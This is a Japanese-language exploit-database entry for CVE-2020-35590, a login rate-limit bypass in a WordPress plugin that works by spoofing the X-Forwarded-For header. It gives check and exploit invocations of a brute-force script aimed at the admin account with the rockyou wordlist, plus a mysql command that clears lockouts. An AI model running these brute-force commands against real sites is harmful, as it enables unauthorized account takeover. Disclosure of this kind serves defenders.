CVE-2020-35590

エクスプロイト情報

エクスプロイトタイトル: WordPress Plugin Limit Login Attempts Reloaded 2.13.0 - ログイン制限バイパス
CVE: CVE-2020-35590
日付: 2020-06-09
エクスプロイト作成者: N4nj0
ソフトウェアリンク: https://wordpress.org/plugins/limit-login-attempts-reloaded/
バージョン: 2.13.0
テスト環境: WordPress 5.4.1, 5.4.2
脆弱性勧告: https://n4nj0.github.io/advisories/wordpress-plugin-limit-login-attempts-reloaded/

影響を受けるWordPressプラグインはブルートフォース攻撃対策機構を目的としており、現在100万以上のアクティブインストールで利用されています。
非デフォルト設定においてレート制限のバイパスを発見しました。これにより、実質的にプラグインの目的が無効化されます。

使用方法

チェック

./wp-brute.py -c -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt
./wp-brute.py --check --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet

エクスプロイト

./wp-brute.py -e -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt -q
./wp-brute.py --exploit --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet

ユーザーを手動でロック解除

mysql -uroot -ppassword wordpress -e "UPDATE wp_options SET option_value = '' WHERE option_name = 'limit_login_lockouts' LIMIT 1;"